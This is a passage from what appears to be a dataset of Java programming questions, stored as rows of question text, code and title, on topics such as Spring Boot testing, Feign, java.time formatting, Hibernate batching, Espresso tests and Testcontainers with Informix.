org.springframework.boot.autoconfigure.logging.ConditionEvaluationReportLoggingListener ] [ Test worker:13 ] : Error starting ApplicationContext . To display the conditions report re-run your application with 'debug ' enabled.2020-07-21 15:57:34.345 ERROR [ org.springframework.boot.SpringApplication ] [ Test worker:13 ] : Application run failedorg.springframework.beans.factory.BeanCreationException : Error creating bean with name 'liquibase ' defined in class path resource [ org/springframework/boot/autoconfigure/liquibase/LiquibaseAutoConfiguration $ LiquibaseConfiguration.class ] : Invocation of init method failed ; nested exception is liquibase.exception.DatabaseException : Table `` DATABASECHANGELOG '' already exists ; SQL statement : spring.main.allow-bean-definition-overriding=truespring.datasource.url=jdbc : p6spy : h2 : mem : testdb ; MODE=PostgreSQL ; DB_CLOSE_DELAY=-1 ; DATABASE_TO_UPPER=FALSE ; INIT=CREATE SCHEMA IF NOT EXISTS nmc\\ ; CREATE SCHEMA IF NOT EXISTS mkt\\ ; CREATE SCHEMA IF NOT EXISTS cdb\\ ; CREATE SCHEMA IF NOT EXISTS pg_tempspring.datasource.driver-class-name=com.p6spy.engine.spy.P6SpyDriverspring.datasource.username=saspring.datasource.password=spring.datasource.hikari.connectionTimeout=10000spring.datasource.hikari.idleTimeout=60000spring.datasource.hikari.maxLifetime=180000spring.datasource.hikari.maximumPoolSize=50spring.h2.console.enabled=truespring.h2.console.path=/h2-console @ Configuration @ ComponentScan ( basePackages = { `` com.aareal.nmc '' } , excludeFilters = { @ ComponentScan.Filter ( type = FilterType.ASSIGNABLE_TYPE , value = CommandLineRunner.class ) } ) @ EnableTransactionManagement @ Profile ( `` testRegression '' ) @ SpringBootApplication ( exclude = SecurityAutoConfiguration.class ) @ EnableConfigurationProperties ( LiquibaseProperties.class ) public class RegressionTestConfig { @ RunWith ( SpringRunner.class ) @ SpringBootTest ( classes = { RegressionTestConfig.class } , //webEnvironment = SpringBootTest.WebEnvironment.DEFINED_PORT ) webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT )",Spring boot testing with liquibase fails +Java,"I 'm developing an app against a cloud application that has hard api rate limits in place . In order to have my team get a feeling for how close we are in regards to those limits I want to count all API calls made from our app in a meaningful way.We use Feign as access layer , and I was hoping to be able to use the RequestInterceptor to count the different API endpoints we call : Now this does not work , as the resulting URLs almost always count `` 1 '' afterwards , as they already contain all resolved path variables , so I get counts forand so on.I was hoping to somehow get access to either the @ ResuqestLine mapping value ( GET /something/ { id } /get ) or at least the uri template pre-resolve ( /somethine/ { id } /get ) Is there a way to do this ? Thanks !",RequestInterceptor ri = rq - > addStatistics ( rq.url ( ) ) ; 1 - /something/id1valueverycryptic/get1 - /something/anothercrypticidkey/get,Access URITemplate or RequestLine value in Feign RequestInterceptor / RequestTemplate +Java,"The DateTimeFormatter class in java.time offers three ofLocalized… methods for generating strings to represent values that include a year . For example , ofLocalizedDate.For the locales I have seen , the year is only two digits in the shorter FormatStyle styles . How to let java.time localize yet force the years to be four digits rather than two ? I suspect the Answer lies in DateTimeFormatterBuilder class . But I can not find any feature alter the length of year . I also perused the Java 9 source code , but can not spelunk that code well enough to find an answer.This Question is similar to : forcing 4 digits year in java 's simpledateformatJodatime : how to print 4-digit year ? …but those Questions are aimed at older date-time frameworks now supplanted by the java.time classes .",Locale l = Locale.US ; DateTimeFormatter f = DateTimeFormatter.ofLocalizedDate ( FormatStyle.SHORT ) .withLocale ( l ) ; LocalDate today = LocalDate.now ( ZoneId.of ( `` America/Chicago '' ) ) ; String output = today.format ( f ) ;,Force 4-digit-year in localized strings generated from ` DateTimeFormatter.ofLocalized… ` in java.time +Java,I have a class with a private mutable list of data.I need to expose list items given following conditions : List should not be modifiable outside ; It should be clear for developers who use getter function that a list they get can not be modified.Which getter function should be marked as recommended approach ? Or can you offer a better solution ? UPD : this question is from a real code-review discussion on the best practice for list getter implementation,class DataProcessor { private final ArrayList < String > simpleData = new ArrayList < > ( ) ; private final CopyOnWriteArrayList < String > copyData = new CopyOnWriteArrayList < > ( ) ; public void modifyData ( ) { ... } public Iterable < String > getUnmodifiableIterable ( ) { return Collections.unmodifiableCollection ( simpleData ) ; } public Iterator < String > getUnmodifiableIterator ( ) { return Collections.unmodifiableCollection ( simpleData ) .iterator ( ) ; } public Iterable < String > getCopyIterable ( ) { return copyData ; } public Iterator < String > getCopyIterator ( ) { return copyData.iterator ( ) ; } },Should Iterator or Iterable be used when exposing internal collection items ? +Java,"I have created a protocol in Clojure 1.2 that handles my own Java classes and has default handling for a generic java.lang.Object . The code looks something like : How should I extend this to have special handling for the standard Clojure data structures ( in particular maps , vectors and sequences ) ?",( extend-protocol PMyProtocol my.java.ClassName ( protocol-function [ c ] `` My Java class result '' ) java.lang.Object ( protocol-function [ c ] `` Default object result '' ) ),"Extending protocols for custom Java classes , maps and sequences in Clojure" +Java,"So I was purposely trying to break my program , and I 've succeeded.I deleted the sqlite database the program uses , while the program was running , after I already created the connection . Then I attempted to update the database as seen below.The problem is , it did n't catch the exception , and continued to run as if the database was updated successfully . Meanwhile the database did n't even exist at that point since this was after I deleted it.Does n't it check if the database still exists when updating ? Do I have to check the database connection manually , every time I update to ensure that the database was n't corrupted/deleted ? Is this the way it is normally done , or is there a simpler/more robust approach ? Thank you .",Statement stmt ; try { stmt = Foo.con.createStatement ( ) ; stmt.executeUpdate ( `` INSERT INTO `` +table+ '' VALUES ( \ ' '' + itemToAdd + `` \ ' ) '' ) ; } catch ( SQLException e ) { System.out.println ( `` Error : `` + e.toString ( ) ) ; },SQLite - executeUpdate exception not caught when database does not exist ? ( Java ) +Java,"When it comes to counting , should a do-while loop be used , or a for loop ? Because this : Seems to do the exact same thing as this : Is it a difference in speed ? Preference ? Situation ? Personal quirks ? Some kind of `` Java social taboo '' ? I have no idea . Either seem to be able to be used for effective counting , just that one takes a lot more . And both print the exact same thing.System.out.println ( `` Many thanks ! ! `` ) ;",class Main { public static void main ( String [ ] args ) { int times = 1 ; do { System.out.println ( `` I have printed `` + times + `` times . `` ) ; times++ ; } while ( times < 6 ) ; } } class Main { public static void main ( String [ ] args ) { for ( int times = 1 ; times < 6 ; times++ ) { System.out.println ( `` I have printed `` + times + `` times . `` ) ; } } },Do While Loops Versus For Loops in Java for Counting +Java,"In our project for chained if/else/if we would like to have following formatting : And forbid following one : Is there some predefined rule in either of listed above static code analysis tools to force this code style ? If no - I know there is an ability to write custom rules in all of those tools , which one would you suggest to implement such a rule ( not really familiar with writing custom rules in either of them ) ?",if ( flag1 ) { // Do something 1 } else if ( flag2 ) { // Do something 2 } else if ( flag3 ) { // Do something 3 } if ( flag1 ) { // Do something 1 } else { if ( flag2 ) { // Do something 2 } else { if ( flag3 ) { // Do something 3 } } },Is there any Checkstyle/PMD/Findbugs rule to force `` else if '' to be on the same line ? +Java,I am looking at a rather trivial class with a single method that defines an annotated receiver type : I would now like to access the type annotation on the receiver type 's parameter @ Bar but the Java reflection API returns an annotated raw type when accessing the receiver : The assertion fails as the annotated type that is returned is returned as a raw type Foo . Is this intentional ? I can still find the @ Bar annotation when accessing private properties of the implementation of AnnotatedType that is returned.I am running a recent version of Java 8 .,class Foo < T > { void foo ( Foo < @ Bar T > this ) { } } assert Foo.class.getDeclaredMethod ( `` foo '' ) .getAnnotatedReceiverType ( ) instanceof AnnotatedParameterizedType ;,How to access type annotations on a receiver type 's parameters +Java,"I came across following code : Output : electronic trading systemI was surprised to not find a NullPointerException ! Q1 . Why did n't it throw the NullPointerException ? Q2 . Or while compile time , due to category 's declaration having static made it to replace the system ( i.e object reference ) with TradingSystem and as such essentially TradingSystem.category was called ?",public class TradingSystem { private static String category = `` electronic trading system '' ; public static void main ( String [ ] args ) { TradingSystem system = null ; System.out.println ( system.category ) ; },NullPointerException or will print the static variable 's content +Java,"For example , the exception of type : java.net.BindException can throw a `` Address already in use '' ( trying to bind a port that another program uses ) or `` Permission denied '' ( you do not have root permissions to open this port number ) .I do not own the class who throws BindException.So , what is the best practice of distinguish these `` different '' Exceptions with the same type ? I am doing this , but I do not know if is a best practice :",try { // ... some scary stuffs here } catch ( BindException e ) { if ( e.getMessage ( ) .contentEquals ( `` Permission denied '' ) ) { System.out.println ( `` ERROR**You must be ROOT to bind that port address TCP : '' +defaultPort ) ; } else if ( e.getMessage ( ) .contentEquals ( `` Address already in use '' ) ) { System.out.println ( `` ERROR**Port TCP : '' +defaultPort+ '' already in use by onother application '' ) ; } e.printStackTrace ( ) ; },distinguish exceptions of same type +Java,"Some definition for starters : flip ( n ) is the 180 degree rotation of a seven segment display font number , so a 2 in seven segment font will be flipped to a 2 . 0,1,2,5,8 will be mapped to themselfs . 6 - > 9 , 9 - > 6 and 3,4,7 are not defined . Therefore any number containing 3,4,7 will not be flippable . More examples : flip ( 112 ) = 211 , flip ( 168 ) = 891 , flip ( 3112 ) = not defined . ( By the way , I am quite sure that flip ( 1 ) should be undefined , but the homework says that flip ( 168 ) = 891 so regarding this assignment flip ( 1 ) is defined ) The original challenge : Find an integer n > 0 which holds the following three conditions : flip ( n ) is defined and flip ( n ) = nflip ( n*n ) is definedn is divisible by 2011 - > n % 2011 == 0Our solution which you can find below seems to work , but it does not find an answer at least not for 2011 . If I am using 1991 instead ( I searched for some `` base '' number for which the problem could be solved ) I am getting a pretty fast answer saying 1515151 is the one . So the basic concept seems to work but not for the given `` base '' in the homework . Am I missing something here ? Solution written in pseudo code ( We have an implementation in Small Basic and I made a multithreading one in Java ) :","for ( i = 1 ; i < Integer.MaxValue ; i++ ) { n = i * 2011 ; f = flip ( n , true ) ; if ( f ! = null & & flip ( n*n , false ) ! = null ) { print n + `` is the number '' ; return ; } } flip ( n , symmetry ) { l = n.length ; l2 = ( symmetry ) ? ceil ( l/2 ) : l ; f = `` '' ; for ( i = 0 ; i < l2 ; i++ ) { s = n.substr ( i,1 ) ; switch ( s ) { case 0,1,2,5,8 : r = s ; break ; case 6 : r = 9 ; break ; case 9 : r = 6 ; break ; default : r = `` '' ; } if ( r == `` '' ) { print n + `` is not flippable '' ; return -1 ; } elseif ( symmetry & & r ! = n.substr ( l-i-1,1 ) ) { print n + `` is not flip ( n ) '' ; return -1 ; } f = r + f ; } return ( symmetry ) ? n : f ; }",Find an integer n > 0 which holds the following three conditions +Java,"I am trying to develop code that can handle zipping files with non-English characters ( Umlaut , Arabic etc ) but the zipped file contains improper names . I am using java version 1.7.0_45 thus it should n't be due to the bug mentioned here.I am setting the charset to UTF-8 for the ZipOutputStream constructor and as per Javadocs it should work as per my requirements.I am assured that the zip file is being written correctly as an attempt to read entries from the file gives proper filenames ( as expected ) .However , when I try to open/extract with either Ubuntu default ArchiveManager/Unzip tool , the filenames are messed up.Here is my code : the output for the files is as follows : Has anyone successfully implemented what I wish to achieve here.Can someone point me to what I may have missed or have been doing wrong.I did all the google I could and even tried Apache Commons Compress but still no luck.It 's mentioned in the bug report that the bug is resolved in Java 7 , then why is the code not working .","private void convertFilesToZip ( List < File > files ) { FileInputStream inputStream = null ; try { byte [ ] buffer = new byte [ 1024 ] ; FileOutputStream fileOutputStream = new FileOutputStream ( `` zipFile.zip '' ) ; ZipOutputStream outputStream = new ZipOutputStream ( fileOutputStream , Charset.forName ( `` UTF-8 '' ) ) ; for ( File file : files ) { inputStream = new FileInputStream ( file ) ; String filename = file.getName ( ) ; System.out.println ( `` Adding file : `` + filename ) ; outputStream.putNextEntry ( new ZipEntry ( filename ) ) ; int length ; while ( ( length = inputStream.read ( buffer ) ) > 0 ) { outputStream.write ( buffer , 0 , length ) ; } outputStream.closeEntry ( ) ; } if ( inputStream ! = null ) inputStream.close ( ) ; outputStream.close ( ) ; System.out.println ( `` Zip created successfully '' ) ; System.out.println ( `` ======================================================= '' ) ; System.out.println ( `` Reading zip Entries '' ) ; ZipInputStream zipInputStream = new ZipInputStream ( new FileInputStream ( new File ( `` zipFile.zip '' ) ) , Charset.forName ( `` UTF-8 '' ) ) ; ZipEntry zipEntry ; while ( ( zipEntry=zipInputStream.getNextEntry ( ) ) ! =null ) { System.out.println ( zipEntry.getName ( ) ) ; zipInputStream.closeEntry ( ) ; } zipInputStream.close ( ) ; } catch ( IOException exception ) { exception.printStackTrace ( ) ; } } Adding file : umlaut_ḧ.txtAdding file : ذ ر ز س ش ص ض.txtAdding file : äǟc̈ḧös̈ ẗǚẍŸ_uploadFile4.txtAdding file : pingüino.txtAdding file : ÄÖÜäöüß- Español deEspaña.pptZip created successfully=======================================================Reading zip Entriesumlaut_ḧ.txtذ ر ز س ش ص ض.txtäǟc̈ḧös̈ ẗǚẍŸ_uploadFile4.txtpingüino.txtÄÖÜäöüß- Español deEspaña.ppt",Improper zip entries when writing filename containing non-English characters even with Java 7 +Java,"Can someone explain me why in the first case null pointer was detected , but no on the other ? Maybe he always looks on the first type , but why he does so only if the condition is false..",@ Testpublic void test1 ( ) { final Integer a = null ; final Integer b = false ? 0 : a ; //=== > NULL POINTER EXCEPTION } @ Testpublic void test2 ( ) { final Integer b = false ? 0 : null ; //=== > NOT NULL POINTER EXCEPTION } @ Testpublic void test3 ( ) { final Integer a = null ; final Integer b = true ? 0 : a ; //=== > NOT NULL POINTER EXCEPTION } @ Testpublic void test4 ( ) { final Integer a = null ; final Integer b = false ? new Integer ( 0 ) : a ; //=== > NOT NULL POINTER EXCEPTION } @ Testpublic void test5 ( ) { final Integer a = null ; final Integer b = false ? a : 0 ; //=== > NOT NULL POINTER EXCEPTION },java ternary conditions strange null pointer exception +Java,"I write an espresso UI test for my application , and for some views ( in this case ImageButton ) perform ( click ( ) ) does n't work and also no error is displayed.this is the line that not worked : and this is my xml : and a fragment shows the above XML.what 's wrong ?","try { Thread.sleep ( TIME_NORMAL_ELPASED ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } onView ( allOf ( withId ( R.id.toolbar_navigation_btn ) , isCompletelyDisplayed ( ) ) ) .perform ( click ( ) ) ; < RelativeLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : app= '' http : //schemas.android.com/apk/res-auto '' xmlns : tools= '' http : //schemas.android.com/tools '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' tools : context= '' activities.DepartFlight.fragments.AvailableFragment '' > < android.support.v7.widget.Toolbar android : id= '' @ +id/available_toolbar '' android : layout_width= '' match_parent '' android : layout_height= '' ? attr/actionBarSize '' android : layout_alignParentTop= '' true '' android : background= '' @ drawable/background_toolbar '' > < RelativeLayout android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' > < ImageButton android : id= '' @ +id/toolbar_navigation_btn '' android : layout_width= '' @ dimen/icon_toolbar '' android : layout_height= '' @ dimen/icon_toolbar '' android : layout_alignParentLeft= '' true '' android : layout_alignParentStart= '' true '' android : layout_centerVertical= '' true '' android : background= '' @ drawable/button_selector '' android : rotation= '' 180 '' android : src= '' @ drawable/ic_back '' android : tint= '' @ color/white '' / > < com.faranegar.bookflight.customView.CustomTextView android : id= '' @ +id/text_toolbar_flight '' android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : layout_centerHorizontal= '' true '' android : layout_marginTop= '' 2dp '' android : textColor= '' @ color/white '' / > < com.faranegar.bookflight.customView.CustomTextView android : id= '' @ +id/toolbar_subtitle '' android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : layout_below= '' @ id/text_toolbar_flight '' android : layout_centerHorizontal= '' true '' android : textColor= '' @ color/white '' android : textSize= '' @ dimen/font_size '' / > < /RelativeLayout > < /android.support.v7.widget.Toolbar > < include android : id= '' @ +id/zero_filtered_items '' android : visibility= '' gone '' layout= '' @ layout/zero_filterd_itesm_row '' / > < com.faranegar.bookflight.customView.CustomRecyclerView android : id= '' @ +id/available_recycler_view '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' android : layout_above= '' @ +id/depart_flight_activity_footer '' android : layout_below= '' @ id/available_toolbar '' android : background= '' @ android : color/transparent '' android : visibility= '' gone '' / > < com.tuyenmonkey.mkloader.MKLoader android : id= '' @ +id/progressBar '' android : layout_width= '' 55dp '' android : layout_height= '' 55dp '' android : layout_centerInParent= '' true '' android : visibility= '' gone '' app : mk_color= '' @ color/colorPrimary '' app : mk_type= '' TwinFishesSpinner '' / > < RelativeLayout android : id= '' @ +id/depart_flight_activity_footer '' android : layout_width= '' match_parent '' android : layout_height= '' 44dp '' android : layout_alignParentBottom= '' true '' android : background= '' @ color/colorPrimary '' android : visibility= '' visible '' > < LinearLayout android : id= '' @ +id/view_sort '' android : layout_width= '' wrap_content '' android : layout_height= '' match_parent '' android : layout_alignParentLeft= '' true '' android : layout_alignParentStart= '' true '' android : layout_marginLeft= '' 18dp '' android : layout_marginStart= '' 18dp '' android : gravity= '' center '' android : orientation= '' horizontal '' > < ImageView android : layout_width= '' 15dp '' android : layout_height= '' 15dp '' android : src= '' @ drawable/sort_icon '' android : tint= '' @ color/white '' / > < com.faranegar.bookflight.customView.CustomTextView android : id= '' @ +id/sortText '' android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : layout_marginLeft= '' 5dp '' android : layout_marginStart= '' 5dp '' android : text= '' @ string/sort_text '' android : textColor= '' @ color/white '' android : textSize= '' @ dimen/text_less_normal '' / > < /LinearLayout > < LinearLayout android : id= '' @ +id/view_filter '' android : layout_width= '' wrap_content '' android : layout_height= '' match_parent '' android : layout_marginLeft= '' 18dp '' android : layout_toRightOf= '' @ id/view_sort '' android : gravity= '' center '' android : orientation= '' horizontal '' android : visibility= '' visible '' > < ImageView android : layout_width= '' 15dp '' android : layout_height= '' 15dp '' android : src= '' @ drawable/ic_filter '' android : tint= '' @ color/white '' / > < com.faranegar.bookflight.customView.CustomTextView android : id= '' @ +id/filterText '' android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : layout_marginLeft= '' 5dp '' android : layout_marginStart= '' 5dp '' android : text= '' @ string/filter_text '' android : textColor= '' @ color/white '' android : textSize= '' @ dimen/text_less_normal '' / > < /LinearLayout > < RelativeLayout android : id= '' @ +id/next_day '' android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : layout_centerVertical= '' true '' android : layout_toLeftOf= '' @ +id/back_day '' > < Button android : id= '' @ +id/next_day_available_btn '' android : layout_width= '' 20dp '' android : layout_height= '' wrap_content '' android : layout_alignParentLeft= '' true '' android : layout_centerVertical= '' true '' android : background= '' @ drawable/button_selector '' android : textColor= '' @ color/white '' android : textSize= '' @ dimen/icon_btn '' / > < com.faranegar.bookflight.customView.CustomTextView android : id= '' @ +id/next_day_available_text '' android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : layout_centerVertical= '' true '' android : layout_toRightOf= '' @ id/next_day_available_btn '' android : text= '' @ string/next_day '' android : textColor= '' @ color/white '' android : visibility= '' visible '' / > < /RelativeLayout > < RelativeLayout android : id= '' @ +id/back_day '' android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : layout_alignParentEnd= '' true '' android : layout_alignParentRight= '' true '' android : layout_marginLeft= '' 15dp '' android : layout_marginStart= '' 15dp '' > < Button android : id= '' @ +id/prev_day_available_btn '' android : layout_width= '' 20dp '' android : layout_height= '' wrap_content '' android : layout_centerVertical= '' true '' android : layout_toRightOf= '' @ +id/prev_day_available_text '' android : background= '' @ drawable/button_selector '' android : textColor= '' @ color/white '' android : textSize= '' @ dimen/icon_btn '' / > < com.faranegar.bookflight.customView.CustomTextView android : id= '' @ +id/prev_day_available_text '' android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : layout_centerVertical= '' true '' android : text= '' @ string/back_day '' android : textColor= '' @ color/white '' / > < /RelativeLayout > < /RelativeLayout > < com.faranegar.bookflight.customView.CustomTextView android : id= '' @ +id/warning '' android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : layout_centerInParent= '' true '' android : text= '' @ string/not_available_flights '' android : textColor= '' @ android : color/black '' android : textSize= '' 16sp '' android : visibility= '' gone '' / > < com.faranegar.bookflight.customView.CustomTextView android : id= '' @ +id/ads_motto_captan '' android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : layout_below= '' @ id/progressBar '' android : layout_centerInParent= '' true '' android : padding= '' 15dp '' android : text= '' @ string/captan_ads_motto '' android : textColor= '' @ color/colorPrimary '' android : textSize= '' 16sp '' android : visibility= '' gone '' / > < WebView android : id= '' @ +id/arzanBelitBanner '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' android : layout_above= '' @ +id/depart_flight_activity_footer '' android : visibility= '' gone '' / > < include android : id= '' @ +id/failedLayout '' layout= '' @ layout/failed_layout '' android : layout_width= '' match_parent '' android : layout_height= '' wrap_content '' android : layout_centerInParent= '' true '' android : visibility= '' gone '' / > < include android : id= '' @ +id/saatraapProgressBarLayout '' layout= '' @ layout/saatraap_brogressbar_layout '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' android : layout_centerInParent= '' true '' android : visibility= '' gone '' / >",For a view with rotation perform ( click ( ) ) does n't work in espresso ui test +Java,I 'm fairly new to MongoDB and LDAP . I 'm trying to use LDAP to authenticate users to mongo . these are the steps I have done so far.Created a saslauthd.conf file inside /etc folder which contains the following line : created a muxdir inside /var/run/saslauthd which now looks like /var/run/saslauthd/muxset the permission to 755 using sudo chmod 755 /var/run/saslauthdModified the /etc/sysconfig/saslauthd to have the followingMECH=ldapUncommented the line on the same file which says : DAEMONOPTS= -- user saslauthNow when i tried to test the authentication mechanism using the following command : testsaslauthd -u username -p password -f /var/run/saslauthd/muxI 'm getting the following message : connect ( ) : Permission Deniedmy work is based on this and thisCould anyone point out what i 'm missing here ? thanks in advance.UPDATE : I tried the test command with sudo like below : sudo testsaslauthd -u username -p password -f /var/run/saslauthd/muxAnd I 'm getting the following : connect ( ) : Connection refused,ldap_servers : ldap : //com.myldap.serverldap_use_sasl : yesldap_mech : DIGEST-MD5ldap_auth_method : fastbind,LDAP configuration for mongo throws permission denied +Java,"I have a Mortar application , with a MortarActivityScope as the first child under the root scope . The MortarActivityScope has an ActivityScope which @ Provides an activity for injected classes : This is fine until an orientation change happens . In the Mortar sample project , the Activity scope is not destroyed on orientation changes . This is presumably to allow @ Singleton presenters , screens etc . to persist across orientation changes . You can see this in the onDestroy ( ) method in the sample project 's main activity : However , doing it this way means that the old ObjectGraph persists across orientation changes . I have observed that Mortar.requireActivityScope does not replace the module from the old activity scope with the new module provided by the new Blueprint . Instead , the object graph retains a reference to the previous module , including the destroyed Activity.The Mortar sample activity seems to get around this by not including a @ Provides Activity method in the main module . But should n't the MortarActivityScope be able to inject an Activity ? What 's the preferred way to do this , without losing all of your singleton objects ( Presenter objects , etc . ) on orientation change ?","@ Module ( addsTo = ApplicationModule.class , injects = { Foo.class , SomePresenter.class , AnotherPresenter.class } ) public class ActivityModule { private final Activity activity ; public ActivityModule ( Activity activity ) { this.activity = activity ; } @ Provides Activity provideActivity ( ) { return activity ; } } public class Foo { private final Activity activity ; @ Inject ( Activity activity ) { this.activity = activity ; } public void doSomethingWithActivity ( ) { // do stuff with activity : findViewById ( ) , getWindow ( ) , mess with action bar etc . } } @ Override protected void onDestroy ( ) { super.onDestroy ( ) ; actionBarOwner.dropView ( this ) ; // activityScope may be null in case isWrongInstance ( ) returned true in onCreate ( ) if ( isFinishing ( ) & & activityScope ! = null ) { MortarScope parentScope = Mortar.getScope ( getApplication ( ) ) ; parentScope.destroyChild ( activityScope ) ; activityScope = null ; } } } public class MyActivity extends Activity implements Blueprint { @ Inject foo ; @ Override protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; MortarScope parentScope = Mortar.getScope ( getApplication ( ) ) ; activityScope = Mortar.requireActivityScope ( parentScope , this ) ; Mortar.inject ( this , this ) ; foo.doSomethingWithActivity ( ) ; //fails , because activity injected by object graph is destroyed } @ Override public String getMortarScopeName ( ) { return getClass ( ) .getName ( ) ; } @ Override public Object getDaggerModule ( ) { return new ActivityModule ( this ) ; } }","How to @ Provide an Activity for the MortarActivityScope , without leaking the Activity on orientation changes ?" +Java,"I am using Hibernate 4.2 , and i have a parent entity which contains a collections of child entities ( One-To-Many , fetch type is LAZY and annotated with @ BatchSize ( size=100 ) ) .If i query and load few parent entities and call access that collection which contains child object , hibernate uses the @ BatchSize as the expected.But if i call session , flush and then do the same thing , it initializes collection only for that particular parent entity.Is it the Hibernate expected behavior ? Edit : sample vs",List parents = criteria.list ( ) parents.get ( 0 ) .getXs ( ) .get ( 0 ) // triggers loading Xs of all parents List parents = criteria.list ( ) session.flush ( ) parents.get ( 0 ) .getXs ( ) .get ( 0 ) // triggers loading Xs of only the first parent,Hibernate @ BatchSize does n't work as expected after session.flush +Java,"Consider the following code : I get compile-time errors on the first 2 enum constants declarations ( A & B ) but the last 2 compile fine ( C & D ) . The errors are : Error 1 on line A : non-static variable i can not be referenced from a static context Error 2 on line B : i has private access in ESince get is an instance method , I do n't understand why I ca n't access the instance variable i the way I want.Note : removing the private keyword from the declaration of i also makes the code compilable , which I do n't understand either.Using Oracle JDK 7u9.EDITAs pointed out in the comments , this is not specific to enums and the code below produces the same behaviour :","enum E { A { public int get ( ) { return i ; } } , B { public int get ( ) { return this.i ; } } , C { public int get ( ) { return super.i ; } } , D { public int get ( ) { return D.i ; } } ; private int i = 0 ; E ( ) { this.i = 1 ; } public abstract int get ( ) ; } class E { static E a = new E ( ) { public int get ( ) { return i ; } } ; static E b = new E ( ) { public int get ( ) { return this.i ; } } ; static E c = new E ( ) { public int get ( ) { return super.i ; } } ; static E d = new E ( ) { public int get ( ) { return d.i ; } } ; private int i = 0 ; }",Private instance member access from anonymous static instance +Java,"I 'm very interested in using testcontainers in my project . However , I 'm having a hard time setting it up to work with Informix.Note that I can start an informix container using Docker-for-Mac and it will build and start . Not sure it can work with testcontainers though . I wish it would.Here 's what I have so farTest classThe container starts up and then hangs forever , and test is never entered Here 's the output : If I comment out this line// .withCreateContainerCmdModifier ( command - > ( ( CreateContainerCmd ) command ) .withTty ( Boolean.TRUE ) ) Then it starts , but then gets stuck in a loop endlessly with these messages then ultimately timesout the same way","package com.example.demo ; import com.github.dockerjava.api.command.CreateContainerCmd ; import org.junit.AfterClass ; import org.junit.BeforeClass ; import org.junit.Test ; import org.junit.runner.RunWith ; import org.springframework.boot.test.context.SpringBootTest ; import org.springframework.test.context.junit4.SpringRunner ; import org.testcontainers.containers.GenericContainer ; import org.testcontainers.containers.wait.strategy.HostPortWaitStrategy ; import org.testcontainers.containers.wait.strategy.LogMessageWaitStrategy ; import org.testcontainers.containers.wait.strategy.WaitAllStrategy ; import java.time.Duration ; import static org.junit.Assert.assertEquals ; @ RunWith ( SpringRunner.class ) @ SpringBootTestpublic class DemoApplicationTests { private static GenericContainer informix ; @ BeforeClass public static void init ( ) { informix = new GenericContainer ( `` ibmcom/informix-innovator-c '' ) .withExposedPorts ( 9088 ) .withEnv ( `` LICENSE '' , `` accept '' ) .withPrivilegedMode ( true ) .withCreateContainerCmdModifier ( command - > ( ( CreateContainerCmd ) command ) .withTty ( Boolean.TRUE ) ) .waitingFor ( new WaitAllStrategy ( ) .withStrategy ( new LogMessageWaitStrategy ( ) .withRegEx ( `` . *listener on port . *\n '' ) ) .withStrategy ( new HostPortWaitStrategy ( ) ) .withStartupTimeout ( Duration.ofMinutes ( 2 ) ) ) ; informix.start ( ) ; } @ AfterClass public static void destroy ( ) { informix.close ( ) ; } @ Test public void testDemo ( ) { int foo = 1 ; assertEquals ( foo , 1 ) ; } } ... 00:32:27 Updating Low Memory Manager to version 11 00:32:27 Installing patch to Low Memory Manager code . version ( 11.01 ) 00:32:27 Installing patch to upgrade ph_task code . version ( 13.08 ) 00:32:27 SCHAPI : Started 2 dbWorker threads.00:32:27 Checkpoint Completed : duration was 0 seconds.00:32:27 Sat Jul 6 - loguniq 3 , logpos 0xa2e080 , timestamp : 0x32abd Interval : 600:32:27 Maximum server connections 1 00:32:27 Checkpoint Statistics - Avg . Txn Block Time 0.000 , # Txns blocked 1 , Plog used 178 , Llog used 4831starting mongo listener on port 27017starting rest listener on port 27018starting mqtt listener on port 2788317:34:05.472 [ main ] DEBUG com.github.dockerjava.core.command.AbstrDockerCmd - Cmd : b252c6f234c9d133d17f64f54344061e3689758089339abb7eda3f056adde536 , false , com.github.dockerjava.core.exec.InspectContainerCmdExec @ 3fabf08817:34:05.472 [ main ] DEBUG com.github.dockerjava.core.exec.InspectContainerCmdExec - GET : OkHttpWebTarget ( okHttpClient=org.testcontainers.shaded.okhttp3.OkHttpClient @ 70925b45 , baseUrl=http : //docker.socket/ , path= [ /containers/b252c6f234c9d133d17f64f54344061e3689758089339abb7eda3f056adde536/json ] , queryParams= { } ) 17:34:05.482 [ main ] DEBUG com.github.dockerjava.core.command.AbstrDockerCmd - Cmd : b252c6f234c9d133d17f64f54344061e3689758089339abb7eda3f056adde536 , < null > , com.github.dockerjava.core.exec.KillContainerCmdExec @ 5cbf9e9f17:34:06.186 [ main ] DEBUG com.github.dockerjava.core.command.AbstrDockerCmd - Cmd : b252c6f234c9d133d17f64f54344061e3689758089339abb7eda3f056adde536 , false , com.github.dockerjava.core.exec.InspectContainerCmdExec @ 18e8473e17:34:06.187 [ main ] DEBUG com.github.dockerjava.core.exec.InspectContainerCmdExec - GET : OkHttpWebTarget ( okHttpClient=org.testcontainers.shaded.okhttp3.OkHttpClient @ 70925b45 , baseUrl=http : //docker.socket/ , path= [ /containers/b252c6f234c9d133d17f64f54344061e3689758089339abb7eda3f056adde536/json ] , queryParams= { } ) 17:34:06.194 [ main ] DEBUG com.github.dockerjava.core.command.AbstrDockerCmd - Cmd : b252c6f234c9d133d17f64f54344061e3689758089339abb7eda3f056adde536 , true , true , com.github.dockerjava.core.exec.RemoveContainerCmdExec @ 6f6a746317:34:06.297 [ main ] DEBUG org.testcontainers.utility.ResourceReaper - Removed container and associated volume ( s ) : 